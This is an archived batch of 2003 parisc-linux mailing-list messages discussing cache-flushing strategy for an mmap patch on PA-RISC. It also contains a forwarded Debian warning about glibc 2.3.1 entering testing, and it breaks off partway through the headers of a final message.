References: <200303061414.HAA26321@udlkern.fc.hp.com> <20030306143149.B1549@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622258 22566 80.91.229.3 (22 Nov 2014 02:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:58 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org, davem@redhat.com
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  6 08:33:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 950234829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Mar 2003 08:33:56 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 18CDCCD294; Thu,  6 Mar 2003 07:31:09 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030306143149.B1549@parcelfarce.linux.theplanet.co.uk>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17848

In reference to a message from Matthew Wilcox, dated Mar 06:
> > In my opinion this patch is a hack workaround for a real bug. parisc is
> > not the only architecture that has virtual tagged caches.  Some mips
> > machines, sparc and ultrasparc machines have virtual tagged caches,
> > although none of them have virtual tagged caches as large as parisc (the
> > other architectures typically have a larger physical cache at a higher
[...]
> 1) This patch tausq did.  Now we flush both user & kernel mappings for the
> data.

I should mention that this is almost exactly what arm does as well.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [aj@azure.humbug.org.au: Warning: glibc 2.3.1 entering testing soon]
Date: Fri, 7 Mar 2003 18:17:40 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <20030307181740.D3865@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622258 22568 80.91.229.3 (22 Nov 2014 02:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  7 11:17:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B88164829
	for <parisc-linux@parisc-linux.org>; Fri,  7 Mar 2003 11:17:41 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18rMPc-0007Nf-00
	for parisc-linux@parisc-linux.org; Fri, 07 Mar 2003 18:17:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17849

Since so many of our parisc-linux users are using debian, i thought this
was worth forwarding on.

----- Forwarded message from Anthony Towns <aj@azure.humbug.org.au> -----

Date: Sat, 8 Mar 2003 03:30:24 +1000
To: debian-devel-announce@lists.debian.org
Cc: debian-user@lists.debian.org, debian-sparc@lists.debian.org,
	debian-hppa@lists.debian.org
Subject: Warning: glibc 2.3.1 entering testing soon
From: Anthony Towns <aj@azure.humbug.org.au>

Sorry about the cross posting.

glibc 2.3.1-14 should be entering testing "tomorrow" (sometime around 30
hours from now, depending on your mirror). Along with it, some 800 other
source packages and all their binaries are expected to be updated. For
those of you running testing systems, please take care of the next few
days' upgrades, as a number of things *will* break.

php4 will be broken on all architectures. This will be fixed by the
removal of the Conflicts: line from the libc6 packages in a forthcoming
revision. It can be worked around by not upgrading until that version of
libc6 is available; by upgrading to php4 from unstable; or by manually
forcing the dependencies (and not using apt).

On sparc, the libc6-sparc64 package has been removed; this will mean
you'll be unable to install the versions of gcc-3.0, gcc-3.2, and a
number of related packages in testing. This can be worked around by not
using the versions of those packages from unstable, or by not upgrading
libc6 until new versions of the affected packages have entered testing.

On hppa, a number of programs that make use of the __clz_tab symbol will
fail to find it. That this symbol is visible was a bug in the toolchain,
that has been fixed; unfortunately the fix breaks old software, including,
eg, wget, lftp and other programs that link against libcrypto. You can
work around this problem by avoiding using the affected programs, by
rebuilding them from source, or by not upgrading libc6. Some compatability
code will be introduced in the next version of glibc so that this isn't
an issue.

Similar problems related to other symbols might appear on hppa or other
architectures. The problem is believed to have been fixed on i386, but
may not have been entirely addressed. Please report problems you find
in the usual manner.

There may be undiscovered interactions between the software that isn't
being updated yet, and the 800 packages that are being updated. Given that
so many packages are being updated in a single hit, and that a number
of core packages (gcc, perl, python, gnome, kde) will differ between
testing and unstable, this is significantly more likely than usual.

In short, please take care administering any testing systems you rely
on over the next few days.

If you wish to put libc6 on hold, you can do so at the command line by:

	# echo libc6 hold | dpkg --set-selections

or by using dselect or aptitude or similar.

Cheers,
aj

-- 
Anthony Towns <ajt@debian.org>
Debian Release Manager



----- End forwarded message -----

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Fri, 7 Mar 2003 23:30:43 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20030308063043.GB27859@dsl2.external.hp.com>
References: <200303061414.HAA26321@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622259 22570 80.91.229.3 (22 Nov 2014 02:10:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, davem@redhat.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  7 23:30:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1EDE54829; Fri,  7 Mar 2003 23:30:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200303061414.HAA26321@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17850

On Thu, Mar 06, 2003 at 07:14:53AM -0700, John Marvin wrote:
> Dave Miller designed the cache flushing strategy to have hooks in the
> machine independent code to support virtual tagged caches.

While Dave Miller has my respect, he doesn't get everything exactly
right on the first try.  Design review and feedback are needed
(eg pci_set_dma_mask()) to fix remaining issues with the design
(e.g. nits/extensions to PCI DMA support).

My point is the VM design may have "flaws" WRT parisc architecture.
If the existing hooks mean performance sucks on parisc, davem is
usually open (though a PITA to convince) to discussing the issues.

I don't pretend to understand the issues with virtual tags and
linux VM design, I just want to encourage the discussion since
I'd really like to see SMP work right on parisc.

grant


From - Thu Nov 08 21:26:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Fri, 07 Mar 2003 22:29:45 -0800 (PST)
Lines: 26
Approved: news@gmane.org
Message-ID: <20030307.222945.32673395.davem@redhat.com>
References: <200303061414.HAA26321@udlkern.fc.hp.com>
	<20030308063043.GB27859@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622259 22573 80.91.229.3 (22 Nov 2014 02:10:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:59 +0000 (UTC)
Cc: jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  7 23:51:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B6684829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Mar 2003 23:51:14 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id WAA23389;
	Fri, 7 Mar 2003 22:29:46 -0800
In-Reply-To: <20030308063043.GB27859@dsl2.external.hp.com>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17851

   From: grundler@dsl2.external.hp.com (Grant Grundler)
   Date: Fri, 7 Mar 2003 23:30:43 -0700
   
   I don't pretend to understand the issues with virtual tags and
   linux VM design, I just want to encourage the discussion since
   I'd really like to see SMP work right on parisc.

If you flush caches exactly what sparc64 does in 2.5.x, and you do
have a virtually indexed, physically tagged cache, you should have no
correctness.  I've stressed that port to no end (in particular the LTP
suite has a great mmap/read/write coherency tester), and if there are
holes I'd like to know about them :-)

The sparc64 port only flushes when absolutely necessary.

The most crucial area to get efficient flushing is the
{copy,clear}_user_page implementation.  If you use temporary kernel
mappings mapped at virtual addresses matching the virtual color that
the user's mappings will have, this avoids virtually ALL of the
flushing for anonymous pages.  I haven't noticed too many ports pick
up this trick even though I mention it in cachetlb.txt.

On sparc64 I even save the original TLB entries before the flush
and restore them afterwards, so there is no TLB traffic as a result
of doing these temp mappings.


From - Thu Nov 08 21:26:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 10:24:39 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030308172439.GA10161@dsl2.external.hp.com>
References: <200303061414.HAA26321@udlkern.fc.hp.com> <20030308063043.GB27859@dsl2.external.hp.com> <20030307.222945.32673395.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622259 22577 80.91.229.3 (22 Nov 2014 02:10:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:59 +0000 (UTC)
Cc: jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 10:24:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id B97A04829; Sat,  8 Mar 2003 10:24:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030307.222945.32673395.davem@redhat.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17852

On Fri, Mar 07, 2003 at 10:29:45PM -0800, David S. Miller wrote:
> If you flush caches exactly what sparc64 does in 2.5.x, and you do
> have a virtually indexed, physically tagged cache, you should have no
> correctness.

After getting some sleep and thinking about how IOMMUs work on parisc,
I've convinced myself the CPU caches are virtually tagged and
virtually indexed. Part of the IOMMU function is to provide the
virtual address tag/index bits in order to acquire cacheline ownership
on behalf of the device doing DMA. I don't know exactly how that
matters to the VM design, but it seems relevant that parisc is not
physically indexed.

thanks,
grant


From - Thu Nov 08 21:26:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 08 Mar 2003 11:04:59 -0800 (PST)
Lines: 15
Approved: news@gmane.org
Message-ID: <20030308.110459.35972945.davem@redhat.com>
References: <20030308063043.GB27859@dsl2.external.hp.com>
	<20030307.222945.32673395.davem@redhat.com>
	<20030308172439.GA10161@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622260 22581 80.91.229.3 (22 Nov 2014 02:11:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:00 +0000 (UTC)
Cc: jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 12:26:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5CBA4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 12:26:33 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA24422;
	Sat, 8 Mar 2003 11:05:00 -0800
In-Reply-To: <20030308172439.GA10161@dsl2.external.hp.com>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17853

   From: grundler@dsl2.external.hp.com (Grant Grundler)
   Date: Sat, 8 Mar 2003 10:24:39 -0700
   
   After getting some sleep and thinking about how IOMMUs work on parisc,
   I've convinced myself the CPU caches are virtually tagged and
   virtually indexed.

Some quick googling suggests that they are physically tagged.

For example, see section 1.1 of the following paper:

	http://www.cs.washington.edu/homes/bershad/Papers/asplosVM.ps

It's an interesting paper btw too :-)


From - Thu Nov 08 21:26:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 13:42:25 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20030308204225.GA10266@dsl2.external.hp.com>
References: <20030308063043.GB27859@dsl2.external.hp.com> <20030307.222945.32673395.davem@redhat.com> <20030308172439.GA10161@dsl2.external.hp.com> <20030308.110459.35972945.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622260 22583 80.91.229.3 (22 Nov 2014 02:11:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:00 +0000 (UTC)
Cc: jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 13:42:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id F06604829; Sat,  8 Mar 2003 13:42:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030308.110459.35972945.davem@redhat.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17854

On Sat, Mar 08, 2003 at 11:04:59AM -0800, David S. Miller wrote:
> Some quick googling suggests that they are physically tagged.
> 
> For example, see section 1.1 of the following paper:
> 
> 	http://www.cs.washington.edu/homes/bershad/Papers/asplosVM.ps

yes, I'm just confused as usual.

> It's an interesting paper btw too :-)

ok - thanks.
It's not something I would have looked for normally.
I'll read it though to understand the problem better.

grant


From - Thu Nov 08 21:26:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 22:45:03 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20030308224503.L3865@parcelfarce.linux.theplanet.co.uk>
References: <20030308063043.GB27859@dsl2.external.hp.com> <20030307.222945.32673395.davem@redhat.com> <20030308172439.GA10161@dsl2.external.hp.com> <20030308.110459.35972945.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622260 22589 80.91.229.3 (22 Nov 2014 02:11:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:00 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsm@udlkern.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 15:45:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF7D1482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 15:45:04 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18rn3v-0005BQ-00; Sat, 08 Mar 2003 22:45:03 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030308.110459.35972945.davem@redhat.com>; from davem@redhat.com on Sat, Mar 08, 2003 at 11:04:59AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17855

On Sat, Mar 08, 2003 at 11:04:59AM -0800, David S. Miller wrote:
>    From: grundler@dsl2.external.hp.com (Grant Grundler)
>    Date: Sat, 8 Mar 2003 10:24:39 -0700
>    
>    After getting some sleep and thinking about how IOMMUs work on parisc,
>    I've convinced myself the CPU caches are virtually tagged and
>    virtually indexed.
> 
> Some quick googling suggests that they are physically tagged.

I'm not sure of the exact definitions of physically/virtually tagged.
The definition you're interested in is on Page F-6 of the PARISC 2.0
Architecture book by Gerry Kane.  Fortunately HP have it online at the
rather ugly URL:

http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,959!218!244,00.html


	The instruction and data caches are required to detect that the
	same physical memory location is being accessed by two virtual
	addresses that satisfy all the following requirements:

	   1. The two virtual addresses map to the same absolute address.
	   2. Offset bits 40 through 63 are the same in both virtual addresses.

The upshot is that if two addresses are congruent modulo 4MB and they
map to the same physical address, the cache will detect it.  I've been
thinking about (ab)using kmap() for this for a while.  The trouble
is we'd need to have 1024 slots just to be guaranteed space to map 1
page -- if we need to guarantee to be able to map two pages at once,
we need 2048 slots (ie 8MB of virtual space).  Etc.  I have no idea how
many pages we expect to be able to map simultaneously, and haven't been
able to get a straight answer out of anyone so far.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 23:11:25 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20030308231125.M3865@parcelfarce.linux.theplanet.co.uk>
References: <200303061414.HAA26321@udlkern.fc.hp.com> <20030308063043.GB27859@dsl2.external.hp.com> <20030307.222945.32673395.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622261 22592 80.91.229.3 (22 Nov 2014 02:11:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:01 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsm@udlkern.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 16:11:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 243514840
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 16:11:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18rnTR-0005Pe-00; Sat, 08 Mar 2003 23:11:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030307.222945.32673395.davem@redhat.com>; from davem@redhat.com on Fri, Mar 07, 2003 at 10:29:45PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
